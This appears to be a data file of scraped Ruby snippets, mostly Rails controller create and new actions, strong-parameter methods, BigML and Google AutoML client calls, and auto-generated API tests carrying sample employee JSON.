"def create\n p = prediction_params\n\n p[:tags] = [p[:tags]]\n puts \"BLAH\"\n puts p\n @prediction = current_user.predictions.create(p)\n respond_to do |format|\n if @prediction.save\n format.html { redirect_to action: 'index' }\n format.json { render action: 'show', status: :created, location: @prediction }\n else\n format.html { render action: 'new' }\n format.json { render json: @prediction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle_model = @vehicle_brand.vehicle_models.build(vehicle_model_params)\n\n respond_to do |format|\n if @vehicle_model.save\n format.html { redirect_to @vehicle_brand, notice: 'Vehicle model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vehicle_model }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @foo_model = FooModel.new(params[:foo_model])\n\n respond_to do |format|\n if @foo_model.save\n format.html { redirect_to @foo_model, notice: 'Foo model was successfully created.' }\n format.json { render json: @foo_model, status: :created, location: @foo_model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foo_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model = Model.new(params[:model])\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: 'Model was successfully created.' }\n format.json { render json: @model, status: :created, location: @model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model = Model.new(params[:model])\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: 'Model was successfully created.' }\n format.json { render json: @model, status: :created, location: @model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_scenario1\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"tags\" => [\"mytag\"]}, 'mytag', {\"petal width\" => 0.5}, 'Iris-setosa']]\n\n puts \n puts \"Scenario: Successfully creating a prediction from a multi model\"\n\n data.each do |filename,params,tag,data_input,prediction_result|\n puts \n puts \"Given I create a data source uploading a %s file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n list_of_models = []\n puts \"And I create model with params %s\" % JSON.generate(params)\n [email protected]_model(dataset, params)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n\n list_of_models << model \n puts \"And I create model with params %s\" % JSON.generate(params)\n [email protected]_model(dataset, params)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true) \n\n list_of_models << model\n\n puts \"And I create model with params %s\" % JSON.generate(params)\n [email protected]_model(dataset, params)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n\n list_of_models << model\n\n puts \"And I create a local multi model\"\n local_multimodel = BigML::MultiModel.new(list_of_models, @api)\n\n puts \"When I create a local prediction for <%s>\" % data_input\n prediction = local_multimodel.predict(data_input)\n\n puts \"Then the prediction is <%s>\" % prediction\n assert_equal(prediction, prediction_result)\n\n end\n\n end",
"def create_models\n @name = name.singularize.downcase\n @name_plural = @name.pluralize\n @attributes = attributes\n template(\"./templates/model.erb\", \"./models/#{@name}.rb\")\n end",
"def create_model\n template 'model.rb', \"app/models/#{model_path}.rb\" unless @skip_model\n end",
"def new\n @part_three_predict = PartThreePredict.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_three_predict }\n end\n end",
"def create\n @part_three_predict = PartThreePredict.new(params[:part_three_predict])\n\n respond_to do |format|\n if @part_three_predict.save\n format.html { redirect_to @part_three_predict, notice: 'Part three predict was successfully created.' }\n format.json { render json: @part_three_predict, status: :created, location: @part_three_predict }\n else\n format.html { render action: \"new\" }\n format.json { render json: @part_three_predict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @auto_model = AutoModel.new(auto_model_params)\n\n respond_to do |format|\n if @auto_model.save\n format.html { redirect_to @auto_model, notice: 'Auto model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @auto_model }\n else\n format.html { render action: 'new' }\n format.json { render json: @auto_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fakemodel = Fakemodel.new(fakemodel_params)\n\n respond_to do |format|\n if @fakemodel.save\n format.html { redirect_to @fakemodel, notice: 'Fakemodel was successfully created.' }\n format.json { render :show, status: :created, location: @fakemodel }\n else\n format.html { render :new }\n format.json { render json: @fakemodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sample_create_model project\n # Instantiate a client\n auto_ml_client = Google::Cloud::Automl::V1Beta1::AutoMl.new version: :v1beta1\n\n # project = \"GCP Project\"\n formatted_parent = auto_ml_client.class.location_path(project, \"us-central1\")\n dataset_id = \"mydatasetid\"\n display_name = \"my_first_dataset\"\n translation_model_metadata = {}\n model = {\n dataset_id: dataset_id,\n display_name: display_name,\n translation_model_metadata: translation_model_metadata\n }\n\n # Make the long-running operation request\n operation = auto_ml_client.create_model(formatted_parent, model)\n\n # Retrieve the name of the operation.\n puts \"Operation name: #{response.name}\"\n # Cancel the operation.\n operation.cancel\nend",
"def model_params\n params.require(:model).permit(:code, :name, :brand_id, :manufacture_id, :body_type_id, :note)\n end",
"def create\n @model = Model.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: \"Model was successfully created.\" }\n format.json { render :show, status: :created, location: @model }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model_type = ModelType.new(model_type_params)\n @model = Model.friendly.find(params[:model_id])\n respond_to do |format|\n if @model_type.save\n format.html { render :new }\n format.json { render :show, status: :created, location: @model_type }\n else\n format.html { render :new }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @gltf_model.destroy\n respond_to do |format|\n format.html { redirect_to gltf_models_url, notice: 'Gltf model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create(params = {})\n wrapped_params = { parcel: params }\n @client.make_request(:post, 'parcels', MODEL_CLASS, wrapped_params)\n end",
"def create\n @vehicle_submodel = VehicleSubmodel.new(vehicle_submodel_params)\n\n respond_to do |format|\n if @vehicle_submodel.save\n format.html { redirect_to @vehicle_submodel, notice: 'Vehicle submodel was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_submodel }\n else\n format.html { render :new }\n format.json { render json: @vehicle_submodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n if handle_data\n @model = Model.new(params[:model])\n @model.content_blob = ContentBlob.new(:tmp_io_object => @tmp_io_object,:url=>@data_url)\n\n @model.policy.set_attributes_with_sharing params[:sharing], @model.projects\n\n update_annotations @model\n experiment_ids = params[:experiment_ids] || []\n respond_to do |format|\n if @model.save\n # update attributions\n Relationship.create_or_update_attributions(@model, params[:attributions])\n \n # update related publications\n Relationship.create_or_update_attributions(@model, params[:related_publication_ids].collect {|i| [\"Publication\", i.split(\",\").first]}, Relationship::RELATED_TO_PUBLICATION) unless params[:related_publication_ids].nil?\n \n #Add creators\n AssetsCreator.add_or_update_creator_list(@model, params[:creators])\n \n flash[:notice] = 'Model was successfully uploaded and saved.'\n format.html { redirect_to model_path(@model) }\n Experiment.find(experiment_ids).each do |experiment|\n if experiment.can_edit?\n experiment.relate(@model)\n end\n end\n deliver_request_publish_approval params[:sharing], @model\n else\n format.html {\n render :action => \"new\"\n }\n end\n end\n end\n \n end",
"def new\n @tengine_batch = Tengine::Batch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tengine_batch }\n end\n end",
"def create\n @tengine_batch = Tengine::Batch.new(params[:tengine_batch])\n\n respond_to do |format|\n if @tengine_batch.save\n format.html { redirect_to @tengine_batch, notice: 'Batch was successfully created.' }\n format.json { render json: @tengine_batch, status: :created, location: @tengine_batch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tengine_batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def model_params\r\n params.require(:model).permit(:code, :title, :gender_id, :category_id, :price, :priority, :note)\r\n end",
"def create\n @my_model = MyModel.new(params[:my_model])\n \n respond_to do |format|\n if @my_model.save\n format.html { redirect_to @my_model, notice: 'My model was successfully created.' }\n format.json { render json: @my_model, status: :created, location: @my_model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n @model = register_model\n end",
"def create\n @model = Model.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: 'Model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @model }\n else\n format.html { render action: 'new' }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user = current_user\n @model = Model.find(params[:model_id])\n @operation = Operation.new\n @distributions = @model.distributions\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operation }\n end\n end",
"def serialized_models\n serialize_model(work)\n end",
"def create\n @feature = Feature.find_or_create_by(name: params[:feature][:name])\n @feature.update(deleted_at: nil)\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle.features << @feature unless @feature.in? @vehicle.features\n end\n respond_to do |format|\n if @feature.save\n format.html\n format.json { render json: @feature, status: :created, location: @feature }\n format.js { render 'features/create' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n # @post.user = current_user\n # @user = User.find(params[:user_id])\n # @model = @user.models.create(params[:model])\n\n # On construit le model pour l utilsateur courant\n @model = current_user.models.build(params[:model])\n #Equivault a ces deux lignes\n # @model = Model.new(params[:model])\n # @model.user = current_user\n\n #On appelle la procedure objSize\n # @model.name= objSize\n # @model.name = \"test\"\n\n @model.scale = 1\n @model.modelPath = @model.avatar.url\n @model.bbX=100\n @model.bbY=100\n @model.bbZ=100\n\n respond_to do |format|\n\n if @model.save\n get_volume_value\n format.html { redirect_to @model, notice: 'Model was successfully created.' }\n format.json { render json: @model, status: :created, location: @model }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_model_with(json)\n return nil if json.is_a?(Array)\n\n model = build_model_with(json)\n model.try :save\n model\n end",
"def create\n @predict = Predict.new(params[:predict])\n\n respond_to do |format|\n if @predict.save\n format.html { redirect_to @predict, notice: 'Predict was successfully created.' }\n format.json { render json: @predict, status: :created, location: @predict }\n else\n format.html { render action: \"new\" }\n format.json { render json: @predict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def updateModels(json)\n if json.is_a?(Array)\n models = []\n for jsonPart in json\n model = buildModel(jsonPart)\n if model.present?\n model.save\n models << model\n end\n end\n return models\n else\n model = buildModel(json)\n if model.present?\n model.save\n return model\n end\n end\n end",
"def create\n @note_features = request.parameters['_json'].map do |n|\n note = NoteFeature.new(n)\n note.save\n end\n # @note_features.each(&:save)\n render json: @note_features\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n if @vehicle.save\n render json: { status: 'Vehicle created successfully', vehicle: @vehicle }, status: :created\n else\n render json: { errors: @vehicle.errors.full_messages }, status: :bad_request\n end\n end",
"def create\n @model = Model.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to [:admin, @model], notice: 'Model was successfully created.' }\n format.json { render json: @model, status: :created, location: @model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_send_model()\n # Parameters for the API call\n model = Employee.from_hash(APIHelper.json_deserialize(\n '{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"u'\\\n 'id\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9'\\\n '571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDay'\\\n '\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"perso'\\\n 'nType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 531'\\\n ', S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-1'\\\n '3T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development\"'\\\n ',\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"d'\\\n 'ependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, '\\\n 'S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T'\\\n '14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H '\\\n '# 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994'\\\n '-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",\"'\\\n 'promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":51474'\\\n '83649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13'\\\n '\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age'\\\n '\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"199'\\\n '4-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 0'\\\n '6 Nov 1994 08:49:37 GMT\"}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.send_model(model)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_model()\n # Parameters for the API call\n model = Employee.from_hash(APIHelper.json_deserialize(\n '{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"u'\\\n 'id\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9'\\\n '571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDay'\\\n '\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"perso'\\\n 'nType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 531'\\\n ', S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-1'\\\n '3T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development\"'\\\n ',\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"d'\\\n 'ependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, '\\\n 'S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T'\\\n '14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H '\\\n '# 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994'\\\n '-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",\"'\\\n 'promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":51474'\\\n '83649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13'\\\n '\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age'\\\n '\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"199'\\\n '4-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 0'\\\n '6 Nov 1994 08:49:37 GMT\"}'\n ))\n\n # Perform the API call through the SDK function\n result = @controller.send_model(model)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def new\n @predict = Predict.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @predict }\n end\n end",
"def model_params\n params.require(:model).permit(:name, :description, :vendor_id)\n end",
"def auto_model_params\n params.require(:auto_model).permit(:name, :auto_model_photo, :auto_brand_id)\n end",
"def create\n @user = current_user\n @model = Model.new(params[:model])\n respond_to do |format|\n if @model.save\n format.html { redirect_to user_model_path(@user, @model), notice: 'model was successfully created.' }\n format.json { render json: @model, status: :created, location: @model }\n else\n format.html { render action: \"new\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @model = Model.new(params[:model])\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to(models_path, :notice => t(:model_created)) }\n format.xml { render :xml => @model, :status => :created, :location => @model }\n else\n @title = t :new_model_title\n format.html { render :action => \"new\" }\n format.xml { render :xml => @model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @models = self.class.model_class.new(params[:partners])\n\n respond_to do |format|\n if @models.save\n flash[:notice] = 'Model was successfully created.'\n format.html { redirect_to(@models) }\n format.xml { render :xml => @models, :status => :created, :location => @models }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @models.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_scenario1\n data = [[File.dirname(__FILE__)+'/data/iris.csv', {\"petal width\" => 0.5}, '000004', 'Iris-setosa']]\n\n puts \n puts \"Scenario: Successfully creating a prediction using a public model\"\n\n data.each do |filename, data_input, objective, prediction_result|\n puts \n puts \"Given I create a data source uploading a %s file\" % filename\n source = @api.create_source(filename, {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n \n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n [email protected]_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"And I create model\" \n [email protected]_model(dataset)\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_CREATED, model[\"code\"])\n assert_equal(1, model[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(model), true)\n\n puts \"And I make the model public\"\n model = @api.update_model(model, {'private'=> false, 'white_box' => true})\n\n puts \"And I wait until the model is ready\"\n assert_equal(BigML::HTTP_ACCEPTED, model[\"code\"])\n assert_equal(@api.ok(model), true)\n\n puts \"And I check the model status using the model's public url\"\n model = @api.get_model(\"public/%s\" % model[\"resource\"])\n assert_equal(BigML::FINISHED, model[\"object\"][\"status\"][\"code\"]) \n\n puts \"When I create a prediction for <%s>\" % JSON.generate(data_input)\n prediction = @api.create_prediction(model, data_input)\n assert_equal(BigML::HTTP_CREATED, prediction[\"code\"])\n\n puts \"Then the prediction for <%s> is <%s>\" % [objective, prediction_result]\n assert_equal(prediction_result, prediction[\"object\"][\"prediction\"][objective])\n\n puts \"And I make the model private again\"\n model = @api.update_model(model, {'private'=> true, 'white_box' => true})\n assert_equal(BigML::HTTP_ACCEPTED, model[\"code\"])\n \n end\n\n end",
"def request_model\n model = {\n 'content_snapshot': Base64.strict_encode64(snapshot.to_s),\n 'meta': {\n 'signs': signatures\n }\n }\n\n if validation_token\n model[:meta][:validation] = {'token': validation_token.value}\n end\n if relations\n model[:meta][:relations] = relations\n end\n\n return model\n end",
"def create\n models = params[:product][:models_attributes]\n if !models.nil?\n models.each do |model|\n model[1][:characteristics] = sanitize_attributes(model[1][:characteristics])\n end\n end\n clean_params = product_params\n clean_params[:specifications] = sanitize_data(clean_params[:specifications])\n clean_params[:features] = sanitize_data(clean_params[:features])\n clean_params[:attributes_titles] = sanitize_attributes(clean_params[:attributes_titles])\n\n @product = Product.new(clean_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to [:admin, @product], notice: 'Product was successfully created.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'new' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def make_and_model; end",
"def create\n @model = Model.new(params[:model])\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to(admin_models_path, :notice => 'Model was successfully created.') }\n format.xml { render :xml => @model, :status => :created, :location => @model }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def make_model_params\n params.require(:make_model).permit(:car_make_id, :model)\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def test_send_delete_form_with_model_array()\n # Parameters for the API call\n models = APIHelper.json_deserialize(\n '[{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"'\\\n 'uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.'\\\n '9571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDa'\\\n 'y\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"pers'\\\n 'onType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 53'\\\n '1, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-'\\\n '13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development'\\\n '\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"'\\\n 'dependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531,'\\\n ' S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13'\\\n 'T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H'\\\n ' # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"199'\\\n '4-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",'\\\n '\"promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\"},{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"ad'\\\n 'dress\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birtht'\\\n 'ime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Softwa'\\\n 're Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesda'\\\n 'y\",\"Friday\"],\"boss\":{\"personType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":51'\\\n '47483645,\"address\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02'\\\n '-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"departm'\\\n 'ent\":\"Software Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Mon'\\\n 'day\",\"Tuesday\",\"Friday\"],\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\",\"promotedAt\":1484719381},\"dependents\":[{\"name'\\\n '\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123'\\\n '412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"'\\\n '},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H # 531, S # 20\",\"ui'\\\n 'd\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.95'\\\n '71247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\"}]'\n ).map { |element| Employee.from_hash(element) }\n\n # Perform the API call through the SDK function\n result = @controller.send_delete_form_with_model_array(models)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def prediction_params\n params.require(:prediction).permit(:body, :expires_at, :resolution_date, :tags, :group_id, :contest_id, :contest_stage_id)\n end",
"def serialize(model, uri_prefix = nil)\n if model.instance_of?(BioInterchange::Genomics::GFF3FeatureSet) then\n @format = :gff3\n elsif model.instance_of?(BioInterchange::Genomics::GVFFeatureSet) then\n @format = :gvf\n elsif model.instance_of?(BioInterchange::Genomics::VCFFeatureSet) then\n @format = :vcf\n else\n raise BioInterchange::Exceptions::ImplementationWriterError, 'The provided model cannot be serialized. ' +\n 'This writer supports serialization for BioInterchange::Genomics::GFF3FeatureSet, ' +\n 'BioInterchange::Genomics::GVFFeatureSet and BioInterchange::Genomics::VCFFeatureSet.'\n end\n @base = BioInterchange::GFVO\n serialize_model(model, uri_prefix)\n end",
"def create\n feature = features.create(feature_params)\n\n respond_with(feature)\n end",
"def create\n feature = features.create(feature_params)\n\n respond_with(feature)\n end",
"def create(model_name,options={})\n # @TODO: this is another path that parallels the ModelFactory\n model_class = Metro::Models.find(model_name)\n mc = model_class.new options\n mc.scene = scene\n mc.window = window\n mc\n end",
"def new\n @feature_model = FeatureModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feature_model }\n end\n end",
"def serialize(model)\n if model.instance_of?(BioInterchange::Genomics::GFF3FeatureSet) then\n @base = BioInterchange::GFF3O\n serialize_model(model)\n elsif model.instance_of?(BioInterchange::Genomics::GVFFeatureSet) then\n @base = BioInterchange::GVF1O\n serialize_model(model)\n else\n raise BioInterchange::Exceptions::ImplementationWriterError, 'The provided model cannot be serialized. ' +\n 'This writer supports serialization for BioInterchange::Genomics::GFF3FeatureSet and '\n 'BioInterchange::Genomics::GVFFeatureSet.'\n end\n end",
"def model_to_create(attributes)\n Sufia.config.model_to_create.call(attributes)\n end",
"def create\n @model = Model.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model.brand, flash: {success:_(\"Modello creato con successo!\")} }\n format.json { render json: @model, status: :created, location: @model }\n else\n format.html { render \"forms/new_edit\" }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def model_params\n params.require(:model).permit(:brand_id, :creator_id, :name)\n end",
